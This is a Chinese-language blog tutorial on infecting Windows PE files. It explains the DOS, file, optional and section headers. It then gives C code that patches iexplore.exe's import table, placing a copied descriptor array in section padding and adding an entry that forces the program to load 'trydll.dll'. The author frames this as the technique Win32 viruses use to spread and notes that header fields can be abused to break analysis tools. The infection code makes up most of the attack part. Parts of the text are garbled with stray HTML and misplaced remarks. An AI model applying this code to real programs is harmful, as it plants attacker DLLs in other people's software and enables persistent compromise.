编程实现感染PE文件加载DLL
PE文件是Windows系统可执行文件采用的普遍格式,像我们平时接触的EXE、DLL、OCX,甚至SYS文件都是属于PE文件的范畴。很多Win32病毒都是基于感染PE文件来进行传播的。今天我们就来尝试一下通过感染PE文件使其加载指定的DLL。
PE文件功能
00411A3E mov esi,esp
00411A40 push 100h
00411A45 lea eax,[strDllDir]
00411A4B push eax
00411A4C call dword ptr [__imp__GetWindowsDirectoryA@8 (42B180h)]
这些汇编代码是针对如下代码的反汇编结果:
<div style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif;">char strDllDir[256];</span></div><div style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif;">GetWindowsDirectory(strDllDir,256);</span><span style="text-align: center; font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);"> </span></div>
分析PE文件的准备工作
PE文件头部分析
PVOID pPeImage =NULL;
DWORD dwFileSize =0 ;
CMapFile cMapFile("iexplore.exe",true,pPeImage,dwFileSize);
if(pPeImage==NULL)
{
printf("Map File Error");
}
图1 PE文件结构
MS-DOS头部
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number 0x5A4D,表示ASCII字符MZ
WORD e_cblp; // Bytes on last page of file 为了DOS下实模式设计
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words 0x1c
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header e_lfanew用来表示PE头部在这个PE文 件中的偏移量 0x3c
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
看到了?导入表是使用了Kernerl32.dll中的LoadLibraryA和GetProcessAddress两个函数。再仔细看,而除了e_magic和e_lfanew两个字段要保证OK外,其他字段和DOS代码空间都可以被利用!那么不禁有人要问,这样做有什么好处呢?首先,减少了PE文件大小(虽然只是那么一点点)。其次,它可以让一些非常强大的分析工具分析出错,比如我电脑上的PE Explorer,因为它足够“较真”,所以它识别不出来该文件的信息。至于原因,我会在之后介绍导入表的时候给出来。这儿再废话几句,研究完PE文件格式,我发现一个道理:标准是标准,即使标准很严谨,但是如果标准实现不完善,那么也会产生各种有趣的漏洞和利用。
BYTE *pFileImage = (BYTE*)pPeImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PE头部
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
选项头
<span style="font-size:10px;">PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));</span>
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory
// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor
PE文件段
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
AddressOfEntryPoint指示的是文件加载如内存之后的地址,那么在文件中,这个内存指代的地址是什么呢?
在PE结构之后是节表,之后是节数据。我们在节表里面可以得到一些有用的信息。因为AddressOfEntryPoint一般指示的地址都是几个节中的某一个。我们可以用16进制打开PE文件,然后查看各节的头部内容。每一个节(段)是IMAGE_SECTION_HEADER结构。共10个成员。对于本问题比较有用的就是第三个成员,VirtualAddress,4个字节。它表示的是该段映射到内存的起始地址。成员4是SizeOfRawData,4个字节。表示该段在内存占的大小。成员5,PointerToRawData,4个字节。表示该段在文件中的起始地址。注意,这儿提到了文件中。确定AddressOfEntryPoint在文件中的地址就可以这样来计算了。首先我们要确定AddressOfEntryPoint在内存中是属于哪个段。这个很好确定。就看AddressOfEntryPoint的地址位于哪个段中就行了。比如AddressOfEntryPoint位于段A中。其次,就用AddressOfEntryPoint的地址减去A的VirtualAddress,得到AddressOfEntryPoint相对于段A的偏移B。最后,我们用段A的PointerToRawData加上偏移B就得到了AddressOfEntryPoint在文件中的位置。关于这个位置,我们也可以用OD打开一个PE文件,它会自动跳转到AddressOfEntryPoint,它的“HEX 数据”栏会显示AddressOfEntryPoint在文件中的位置。
数据目录定位
LPVOID GetDataPositionByDataDirectoryIndex(BYTE *pFileImage,DWORD dwDataDirectoryIndex)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
if(dwDataDirectoryIndex>=pOptionalHeader->NumberOfRvaAndSizes)//判断传入参数是否正确
{
return NULL;
}
PIMAGE_SECTION_HEADER pSectionBelong=NULL;
for(int i=0;i<pFileHeader->NumberOfSections;i++)
{
if(pSectionHeader[i].VirtualAddress<=pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress+pOptionalHeader->DataDirectory[dwDataDirectoryIndex].Size)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return NULL;
}
else
{
return pFileImage+pSectionBelong->PointerToRawData+pOptionalHeader->DataDirectory[dwDataDirectoryIndex].VirtualAddress-pSectionBelong->VirtualAddress;
}
}
DWORD VirtualAddrToOffSet(DWORD dwVirtualAddr,BYTE *pFileImage)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_SECTION_HEADER pSectionBelong=NULL;
for(int i=0;i<pFileHeader->NumberOfSections;i++)
{
if(pSectionHeader[i].VirtualAddress<=dwVirtualAddr&&pSectionHeader[i].VirtualAddress+pSectionHeader[i].SizeOfRawData>=dwVirtualAddr)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return 0;
}
else
{
return pSectionBelong->PointerToRawData+dwVirtualAddr-pSectionBelong->VirtualAddress;
}
}
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
while(pImportDescriptor->Characteristics!=0)
{
char *p = (char *)pFileImage+VirtualAddrToOffSet(pImportDescriptor->Name,pFileImage);
printf("Dll Name : %s\n",p);
pImportDescriptor++;
}
导入表内容分析
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef struct _IMAGE_THUNK_DATA32 { //PIMAGE_THUNK_DATA
union {
DWORD ForwarderString; // PBYTE
DWORD Function;
DWORD Ordinal;
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
其实这个结构可以被当作一个DWORD使用,当这个DWORD最高位是1的时候,代表这个函数通过序号形式引入,下面的宏就是“winnt.h”中用来取出函数导入序号的。
#define IMAGE_ORDINAL32(Ordinal) (Ordinal & 0xffff)
如果最高位是零,则这个DWORD代表一个虚拟地址,指向一个IMAGE_IMPORT_BY_NAME结构,这个结构定义如下:
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME;
int _tmain(int argc, _TCHAR* argv[])
{
PVOID pPeImage =NULL;
DWORD dwFileSize =0 ;
CMapFile cMapFile("iexplore.exe",true,pPeImage,dwFileSize);
if(pPeImage!=NULL)
{
BYTE *pFileImage = (BYTE*)pPeImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader =(PIMAGE_SECTION_HEADER)(((char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
while(pImportDescriptor->Characteristics!=0)
{
char *p = (char *)pFileImage+VirtualAddrToOffSet(pImportDescriptor->Name,pFileImage);
printf("Dll Name : %s\n",p);
PIMAGE_THUNK_DATA pImageThunk=(PIMAGE_THUNK_DATA)(pFileImage+VirtualAddrToOffSet(pImportDescriptor->OriginalFirstThunk,pFileImage));
for(int i=0;pImageThunk[i].u1.AddressOfData!=0;i++)
{
if(0==(pImageThunk[i].u1.Ordinal & IMAGE_ORDINAL_FLAG))
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pFileImage+VirtualAddrToOffSet(pImageThunk[i].u1.AddressOfData,pFileImage));
printf(" Function %u Name :%s\n",i+1,(char *)pImportByName->Name);
}
}
pImportDescriptor++;
}
}
else
{
printf("Map File Error");//IMAGE_IMPORT_DIRECTORY
}
getch();
return 0;
}
修改导入表加载DLL
DWORD OffsetToVirtuanAddr(DWORD dwOffset,BYTE *pFileImage)
{
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32)(pFileImage+pDosHeader->e_lfanew+4+sizeof(IMAGE_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) ( ( (char *) pOptionalHeader) + sizeof(IMAGE_OPTIONAL_HEADER32));
PIMAGE_SECTION_HEADER pSectionBelong = NULL;
for(int i=0;i<pFileHeader->NumberOfSections;i++)
{
if(pSectionHeader[i].PointerToRawData <= dwOffset&&pSectionHeader[i].PointerToRawData+pSectionHeader[i].SizeOfRawData >= dwOffset)
{
pSectionBelong=&(pSectionHeader[i]);
break;
}
}
if(pSectionBelong==NULL)
{
return 0;
}
else
{
return pSectionBelong->VirtualAddress + dwOffset - pSectionBelong->PointerToRawData;
}
}
BYTE *pFileImage = (BYTE*)pPeImage;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_FILE_HEADER pFileHeader =(PIMAGE_FILE_HEADER)(pFileImage+pDosHeader->e_lfanew+4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader =(PIMAGE_OPTIONAL_HEADER32) (pFileImage + pDosHeader->e_lfanew + 4 + sizeof(IMAGE_FILE_HEADER));
BYTE *pInterPoint = pFileImage + VirtualAddrToOffSet(pOptionalHeader->AddressOfEntryPoint , pFileImage);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER) (( (char *)pOptionalHeader)+sizeof(IMAGE_OPTIONAL_HEADER32));
BYTE * pRDataEnd = pFileImage+pSectionHeader[1].PointerToRawData + pSectionHeader[1].SizeOfRawData-1;
UINT nPadSize=0;
while(pRDataEnd[0]==0)
{
nPadSize++;
pRDataEnd--;
}
nPadSize--;
程序首先通过上面的循环获得填充数据的长度,然后再获得需要写入的新的IMAGE_IMPORT_DESCRIPTOR数组的长度,存储在“dwBufferSize”中。
BYTE *pPadStart = ++++pRDataEnd;
PIMAGE_IMPORT_DESCRIPTOR pOriginalImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pFileImage+VirtualAddrToOffSet(pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,pFileImage));
int nImportDescriptor = 0;
do
{
nImportDescriptor++;
}
while(pOriginalImportDescriptor[nImportDescriptor].Characteristics!=0);
DWORD dwBufferSize =sizeof(IMAGE_IMPORT_DESCRIPTOR)*nImportDescriptor;
if(nPadSize>dwBufferSize+ sizeof(IMAGE_IMPORT_DESCRIPTOR))
{
memcpy(pPadStart,pOriginalImportDescriptor,dwBufferSize);
如果填充区域大小足够,则拷贝旧的数组,并写入新数组项,导入DLL“trydll.dll”。
首先需要准备新数组项对应成员变量和相关变量,如“Name”,“IMAGE_THUNK_DATA”,“IMAGE_IMPORT_BY_NAME”等等,程序就是利用了原来的IMAGE_IMPORT_DESCRIPTOR数组写入这些数据。
memset(pOriginalImportDescriptor,0,dwBufferSize);
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptorAdded = PIMAGE_IMPORT_DESCRIPTOR(pPadStart+dwBufferSize);
strcpy((char *)pOriginalImportDescriptor,"trydll.dll");
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME ) ((char *)(pOriginalImportDescriptor+1))+5;
DWORD m_IMAGE_THUNK_DATA = OffsetToVirtuanAddr((BYTE*)pImportByName-pFileImage,pFileImage);
memcpy((char *)(pOriginalImportDescriptor+1),&m_IMAGE_THUNK_DATA,4);
pImportByName->Hint=314;
strcpy((char*)pImportByName->Name,"DllRegisterServer");
下面给新的IMAGE_IMPORT_DESCRIPTOR数组项负值,使用函数OffsetToVirtuanAddr()得到上面准备的各个变量的偏移地址对应的虚拟地址。
pImportDescriptorAdded->ForwarderChain = 0;
pImportDescriptorAdded->TimeDateStamp = 0;
pImportDescriptorAdded->Name = OffsetToVirtuanAddr( (BYTE *) pOriginalImportDescriptor-pFileImage,pFileImage);
pImportDescriptorAdded->FirstThunk = OffsetToVirtuanAddr( (BYTE *) (pOriginalImportDescriptor+1)-pFileImage,pFileImage);
pImportDescriptorAdded->OriginalFirstThunk = OffsetToVirtuanAddr( (BYTE *) (pOriginalImportDescriptor+1)-pFileImage,pFileImage);
最后调整选项头部的内容,大功告成,如图六所示。
pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress = OffsetToVirtuanAddr(pPadStart-pFileImage,pFileImage);
pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size+= sizeof(IMAGE_IMPORT_DESCRIPTOR);
printf("Succsee");
}